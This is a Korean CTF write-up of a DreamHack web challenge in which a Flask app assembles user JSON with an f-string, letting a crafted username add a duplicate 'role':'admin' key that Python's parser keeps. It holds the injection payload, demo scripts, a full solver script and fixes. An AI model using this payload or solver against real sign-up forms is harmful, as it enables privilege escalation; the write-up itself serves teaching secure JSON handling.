문제: DreamHack —
{"role": "admin"}분류: web 난이도: 🥈 Silver 4 FLAG:DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}
문제 설명은 한 줄이다.
Can you gain admin access?
제목이 이미 답의 모양을 보여 주고 있다. {"role": "admin"} 을 만들어 내면 된다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | {"role": "admin"} (id 2674) |
| 난이도 | 🥈 Silver 4 |
| 분류 | web |
| 스택 | Flask 3.0.3 · Python 3.12-slim (Dockerfile 제공) |
| 제공 파일 | app.py (135줄) · Dockerfile · templates/*.html |
| 서버 | host3.dreamhack.games:<PORT> (라이브 VM) |
| 핵심 취약점 | JSON 인젝션 — f-string 으로 조립한 JSON + 중복 키 |
app.py 가 135줄뿐이라 취약점은 금방 좁혀진다. 회원가입 처리에서 사용자 입력을 JSON 문자열 안에 그대로 끼워 넣는 자리가 보이면 끝이다.
풀이는 짧았다. 소스에서 f-string 을 발견하고, 파이썬 json 이 중복 키를 어떻게 처리하는지 확인하고, 로컬 도커로 검증한 뒤 라이브에 그대로 옮겼다.
🧩 배경 — JSON 을 문자열로 만들면
객체를 JSON 으로 만드는 방법은 둘이다.
직렬화 함수를 쓴다. json.dumps({"role": "user", "username": name}) 처럼. 이러면 라이브러리가 값 안의 따옴표·역슬래시·제어문자를 알아서 이스케이프한다. 어떤 문자열이 들어와도 구조가 깨지지 않는다.
문자열을 이어 붙인다. f'{{"username":"{name}"}}' 처럼. 이러면 값이 문법의 일부가 된다. 값 안에 " 가 있으면 거기서 문자열이 끝나 버리고, 그 뒤는 JSON 문법으로 읽힌다.
두 번째가 SQL 인젝션과 완전히 같은 모양이다. 다만 대상이 SQL 이 아니라 JSON 일 뿐이다.
그리고 JSON 에는 SQL 에 없는 성질이 하나 더 있다. 같은 키가 두 번 나와도 에러가 아니다. RFC 8259 는 "키는 유일해야 한다(SHOULD)" 라고만 하고 파서 동작은 구현에 맡긴다. 파이썬 json 은 나중에 나온 값을 남긴다.
값을 덮어쓸 수 있다는 뜻이다. 앞에 뭐가 박혀 있든.
🔬 코드 정찰
회원가입
sed -n "48,82p" extracted/app.py
문제의 자리는 여기다.
uid = str(uuid.uuid4())
pw = pw_hash(password)
raw_user = (
f'{{"role":"user",'
f'"username":"{username}",' # ← 이스케이프가 없다
f'"pw":"{pw}",'
f'"uid":"{uid}"}}'
)
try:
user = json.loads(raw_user)
except Exception:
return render_template("register.html", title="Register", error="회원가입에 실패했습니다."), 400role 이 맨 앞에 "user" 로 하드코딩돼 있다. 개발자 입장에서는 "가입은 무조건 일반 사용자" 를 강제한 것이다.
그런데 username 이 그 뒤에 이스케이프 없이 들어간다. 뒤에서 role 을 한 번 더 쓰면 앞의 것이 덮인다.
나머지 흐름
@app.route("/flag", methods=["GET"])
def flag():
user = current_user()
if not user:
return jsonify(error="not logged in"), 401
if user.get("role") == "admin": # ← 저장된 객체의 role 만 본다
return jsonify(flag=FLAG)
return jsonify(error="forbidden"), 403/flag 는 세션의 uid 로 USERS 에서 꺼낸 객체의 role 만 본다. 별도 검증이 없다. 그러니 저장 시점에 role 을 admin 으로 만들면 그걸로 끝이다.
로그인도 우리 편이다. pw 는 주입과 무관하게 우리가 정한 해시 그대로 남으니 정상적으로 로그인된다.
💣 핵심 — 중복 키
username 에 이걸 넣는다.
hacker","role":"admin그러면 서버가 만드는 문자열은 이렇게 된다.
{"role":"user","username":"hacker","role":"admin","pw":"<sha256>","uid":"<uuid>"}role 이 두 번 들어갔다.

파이썬이 이걸 어떻게 읽는지는 직접 돌려 보면 된다.
#!/usr/bin/env python3
"""중복 키가 있는 JSON 을 파이썬이 어떻게 읽는지 확인한다."""
import json
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<sha256>","uid":"<uuid>"}}'
cases = [
("평범한 이름", "hacker"),
("따옴표 닫고 role 추가", 'hacker","role":"admin'),
("role 을 앞에 넣어 보면", 'hacker","role":"admin","username":"hacker'),
]
for label, username in cases:
raw = TEMPLATE.format(u=username)
print(f"[{label}]")
print(f" 서버가 만드는 문자열 : {raw}")
try:
obj = json.loads(raw)
except Exception as e:
print(f" json.loads → 예외: {e}\n")
continue
print(f" json.loads 결과 : {obj}")
print(f" role : {obj.get('role')}"
f"{' ← 관문 통과' if obj.get('role') == 'admin' else ''}")
print(f" username : {obj.get('username')}\n")
print("파이썬 json 은 중복 키에서 '나중에 나온 값'을 남긴다.")
print("그래서 앞에 박혀 있는 \"role\":\"user\" 를 뒤에서 덮어쓸 수 있다.")python3 json_dup_demo.py
세 번째 케이스도 눈여겨볼 만하다. username 까지 다시 넣어도 결과는 같다 — 어차피 나중 값이 남으니 표시 이름을 원하는 대로 고정할 수도 있다.
남는 조건 하나
username 에 따옴표를 넣었는데 뒤에서 이름 충돌 검사를 통과할까?
final_username = str(user.get("username", "")).strip()
if final_username in UID:
return ... , 409검사 대상은 파싱된 뒤의 username 이다. 주입 문자열이 아니라 "hacker" 다. 그러니 hacker 라는 이름만 안 쓰이고 있으면 통과한다. 그리고 로그인할 때도 hacker 로 하면 된다.
어디까지 덮을 수 있나
role 이 덮인다면 pw 나 uid 도 덮어서 아예 기존 admin 계정을 가로챌 수 있지 않을까. 확인해 봤다.
#!/usr/bin/env python3
"""주입으로 '무엇까지' 덮을 수 있는지 따져 본다."""
import json
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<서버가 정한 해시>","uid":"<서버가 만든 uuid>"}}'
cases = [
("role 덮기 — 주입 지점보다 앞", 'hacker","role":"admin', "role"),
("username 덮기 — 자기 자신", 'hacker","username":"other', "username"),
("pw 덮기 시도 — 주입 지점보다 뒤", 'hacker","pw":"deadbeef', "pw"),
("uid 덮기 시도 — 숫자를 그냥 넣으면", 'hacker","uid":1', "uid"),
("uid 덮기 시도 — 문법을 맞춰서", 'hacker","uid":1,"pad":"', "uid"),
]
print(f"틀 : {TEMPLATE.format(u='<주입 지점>')}\n")
for label, username, key in cases:
raw = TEMPLATE.format(u=username)
print(f"[{label}]")
print(f" username : {username}")
try:
obj = json.loads(raw)
except json.JSONDecodeError as e:
print(f" json.loads → JSONDecodeError: {e.msg} (col {e.colno})")
print(" 서버는 이때 400 '회원가입에 실패했습니다' 를 준다\n")
continue
print(f" {key:8s} : {obj.get(key)!r}")
print()python3 inject_scope.py
답은 주입 지점보다 앞에 있는 키만 이다.
틀의 키 순서가 role → username → pw → uid 인데 우리가 끼어드는 자리는 username 이다. 우리가 넣은 pw/uid 는 틀의 원래 pw/uid 보다 먼저 나오므로, 나중 값이 이기는 규칙에 따라 서버 값이 남는다.
그래서 이 경로로는 권한 상승까지고 기존 admin(uid 1) 계정 탈취는 안 된다. role 이 하필 맨 앞에 있어서 뚫린 것이다 — 개발자가 "무조건 user 로 못박겠다" 며 앞에 둔 그 위치가 오히려 유일하게 덮을 수 있는 자리를 만들었다.
숫자를 그냥 넣은 경우도 볼 만하다. "uid":1 뒤에 틀의 " 가 그대로 따라와 JSON 이 깨지고, json.loads 가 예외를 던져 서버가 400 을 준다. 주입이 문법을 깨면 그대로 티가 난다는 뜻이라, 페이로드를 다듬을 때 이 응답이 신호가 된다.
🐛 삽질
▶🕳️ 삽질 1 — 대조군이 대조군이 아니었다
로컬 검증을 처음 돌릴 때 "주입 없는 계정도 확인해 두자" 며 이렇게 불렀다.
python3 solve.py http://127.0.0.1:15000 --name plainuser --password pw
python3 solve.py http://127.0.0.1:15000 --name hacker --password pw1234둘 다 flag 가 나왔다. 잠깐 "어? 주입 없이도 되나?" 싶었는데, 원인은 코드 쪽이었다.
--name 은 그냥 표시 이름이고, 실제로 보내는 값은 함수가 만든다.
payload = build_username(a.name) # 이름이 뭐든 항상 주입 문자열을 만든다즉 두 번 다 주입을 보냈다. 대조군이라고 부른 쪽도 공격이었던 것이다.
--plain 플래그를 만들어 주입을 실제로 끄고 나서야 403 이 나왔다.
payload = a.name if a.plain else build_username(a.name)"대조군"이라는 이름을 붙였다고 대조군이 되지는 않는다. 두 실행이 정확히 어디서 갈리는지 코드로 확인해야 한다. 이걸 안 잡았으면 "주입 없이도 flag 가 나온다"는 엉뚱한 결론을 글에 실을 뻔했다.
▶🕳️ 삽질 2 — 403 을 보려는데 예외가 먼저 터졌다
대조군을 제대로 만들고 돌렸더니 이번엔 결과 대신 트레이스백이 나왔다.
urllib.error.HTTPError: HTTP Error 403: FORBIDDENurllib 은 4xx/5xx 를 예외로 올린다. requests 처럼 응답 객체를 돌려주지 않는다. 그런데 이 문제에서는 403 의 본문({"error":"forbidden"})이 보고 싶은 것이라, 예외로 끝나면 정작 필요한 걸 못 본다.
HTTPError 객체 자체가 파일 같은 객체라 .read() 가 된다는 걸 이용해 삼켰다.
def get(path: str) -> str:
"""403/401 도 본문을 봐야 하므로 HTTPError 를 삼키고 응답을 돌려준다."""
try:
with opener.open(base + path, timeout=30) as r:
return r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return f"[HTTP {e.code}] " + e.read().decode(errors="replace")실패 응답이 결과인 도구에서는 4xx 를 예외로 두면 안 된다. 대조군이 있는 익스플로잇 스크립트는 대체로 이 경우에 해당한다.
🎯 익스플로잇
브라우저로
회원가입 폼에 그대로 넣어 본다. 특별한 도구가 필요 없다.

가입이 끝나면 표시 이름은 shotuser 다. 그 이름으로 로그인한다.

로그인하면 메인이 우리 권한을 그대로 보여 준다.

role: admin. /me 로 저장된 객체를 직접 확인한다.

그리고 /flag.

대조군
주입 없이 평범하게 가입한 계정은 어떻게 되는지도 같이 확인해 둔다.


role: user → 403 forbidden. 검사 자체는 제대로 동작한다. 무너진 건 그 검사가 보는 값을 우리가 정할 수 있다는 것뿐이다.
🚀 Full Exploit
#!/usr/bin/env python3
"""{"role": "admin"} (DreamHack, Silver 4 / web) — solver
취약점:
/register 가 username 을 이스케이프 없이 JSON **문자열 안에** 끼워 넣는다.
raw_user = f'{{"role":"user","username":"{username}","pw":"{pw}","uid":"{uid}"}}'
user = json.loads(raw_user)
그래서 username 에 따옴표를 하나 닫고 `,"role":"admin"` 을 덧붙이면
같은 객체에 role 키가 두 번 들어간다.
{"role":"user","username":"hacker","role":"admin","pw":"...","uid":"..."}
★ 파이썬 json 은 중복 키에서 **나중 값을 취한다**. role 이 admin 으로 덮인다.
/flag 는 user.get("role") == "admin" 만 보므로 그대로 통과한다.
비밀번호는 우리가 정한 그대로 남으니 로그인도 정상적으로 된다.
사용:
python3 solve.py http://host1.dreamhack.games:10000
"""
import argparse
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
import http.cookiejar
def build_username(name: str) -> str:
"""검사는 통과하고 role 만 덮어쓰는 username 을 만든다."""
return f'{name}","role":"admin'
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("target", help="문제 서버 URL (예: http://host1.dreamhack.games:10000)")
ap.add_argument("--name", default="hacker", help="가입할 이름")
ap.add_argument("--password", default="pw1234")
ap.add_argument("--plain", action="store_true",
help="주입 없이 그냥 가입한다 (대조군 — 403 이 나와야 정상)")
a = ap.parse_args()
base = a.target.rstrip("/")
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
def post(path: str, data: dict) -> str:
req = urllib.request.Request(base + path,
data=urllib.parse.urlencode(data).encode())
with opener.open(req, timeout=30) as r:
return r.read().decode(errors="replace")
def get(path: str) -> str:
"""403/401 도 본문을 봐야 하므로 HTTPError 를 삼키고 응답을 돌려준다."""
try:
with opener.open(base + path, timeout=30) as r:
return r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return f"[HTTP {e.code}] " + e.read().decode(errors="replace")
payload = a.name if a.plain else build_username(a.name)
print(f"[*] 보낼 username : {payload!r}" + (" (대조군 — 주입 없음)" if a.plain else ""))
print("[*] 서버가 만들 JSON :")
print(f' {{"role":"user","username":"{payload}","pw":"<sha256>","uid":"<uuid>"}}')
body = post("/register", {"username": payload, "password": a.password})
if "error" in body and "이미 존재" in body:
print("[-] 이미 존재하는 username — --name 을 바꿔라")
return 1
print(f"[+] 가입 완료 (표시 이름은 {a.name!r})")
post("/login", {"username": a.name, "password": a.password})
me = get("/me")
print(f"[*] /me → {me.strip()}")
is_admin = '"role": "admin"' in me or '"role":"admin"' in me
if a.plain:
print(f"[*] 대조군 role admin? {is_admin}")
elif not is_admin:
print("[-] role 이 admin 이 아니다")
return 1
else:
print("[+] role 이 admin 으로 덮였다")
out = get("/flag")
print(f"[*] /flag → {out.strip()}")
m = re.search(r"DH\{[^}]*\}", out)
if m:
print(f"[+] FLAG: {m.group(0)}")
return 0
print("[-] flag 를 못 받았다")
return 1
if __name__ == "__main__":
sys.exit(main())--plain 은 주입 없이 같은 흐름을 도는 대조군이다. 익스가 "우연히 되는 것"이 아니라 주입 때문에 되는 것임을 같은 스크립트로 보이려고 넣었다.
python3 solve.py http://host3.dreamhack.games:22222 --name shotrun --password pw1234
DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}플래그가 base64 처럼 생겨서 디코드해 보면 why_did_you_decode_this 다. 출제자의 농담이고, 제출은 원문 그대로 한다.
🧪 재현
라이브에 나가기 전에 같은 걸 전부 로컬에서 돌렸다. Dockerfile 이 그대로 있으니 문제 환경을 통째로 재현할 수 있다.
./reproduce.sh
인자를 주면 라이브 모드로 돈다.
./reproduce.sh http://host3.dreamhack.games:22222판정은 이렇게 읽는다.
| 화면 | 뜻 | 대처 |
|---|---|---|
회원가입에 실패했습니다 | 주입이 JSON 문법을 깨뜨림 | 따옴표 개수 확인 — 여는 것 없이 닫기만 |
이미 존재하는 username | 같은 이름을 이미 썼다 | --name 을 바꾼다 |
| 대조군이 403 이 아님 | 배포본이 아닌 걸 띄웠다 | extracted/app.py 로 빌드했는지 확인 |
/me 의 role 이 user | 주입이 문자열로만 들어감 | 폼 인코딩에서 " 가 살아 있는지 확인 |
/flag 가 401 | 세션 쿠키가 안 붙음 | 쿠키 처리기(HTTPCookieProcessor) 확인 |
로컬 모드가 쓰는 더미 플래그는 DH{local_dummy_role_admin} 이다. 진짜 플래그는 문제 서버 환경변수에만 있으므로 오프라인으로는 얻을 수 없다.
필요한 건 docker 와 python3 둘이다.
📝 결론
JSON 은 직렬화 함수로 만든다. 문자열로 이어 붙이지 않는다.
json.dumps 를 썼으면 이 문제는 존재하지 않는다. 값 안의 따옴표가 \" 로 이스케이프돼 구조가 깨지지 않기 때문이다. f-string 으로 조립하는 순간 값이 문법이 된다 — SQL 을 문자열로 이어 붙일 때와 정확히 같은 실수다.
user = {"role": "user", "username": username, "pw": pw, "uid": uid} # 이거면 끝키 순서로 권한을 강제하려는 시도는 통하지 않는다.
"role":"user" 를 맨 앞에 박아 둔 건 "가입은 무조건 일반 사용자" 를 못박으려던 의도로 보인다. 그런데 JSON 은 중복 키를 에러로 만들지 않고, 파이썬은 나중 값을 남긴다. 앞에 두는 것으로는 아무것도 보장되지 않는다.
파서마다 다르다는 것도 알아 둘 만하다. 자바스크립트 JSON.parse 도 나중 값을 남기지만, 어떤 구현은 첫 값을 남기고 어떤 구현은 에러를 낸다. 그 차이 자체가 취약점이 되기도 한다 — 검사하는 파서와 사용하는 파서가 다르면 값이 갈린다.
권한은 사용자 입력이 닿는 자리에 두지 않는다.
이 앱은 role 을 사용자 객체 안에 넣어 두고 /flag 에서 그 값을 그대로 믿는다. 입력 처리에 구멍이 하나라도 나면 권한이 통째로 넘어가는 구조다. 역할은 사용자가 만든 데이터와 다른 자리에 두거나, 최소한 저장 직후에 서버가 다시 강제해야 한다.
user = json.loads(raw_user)
user["role"] = "user" # 파싱 뒤에 한 번 더 못박으면 이 공격은 막힌다그리고 대조군을 같이 돌리면 설명이 짧아진다.
--plain 으로 주입 없는 흐름을 나란히 돌려 보면 403 이 나온다. 익스가 통하는 이유가 "주입 때문"이라는 게 화면 두 장으로 끝난다. 취약점을 보고할 때도 이 한 쌍이 있으면 설득에 드는 말이 크게 줄어든다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…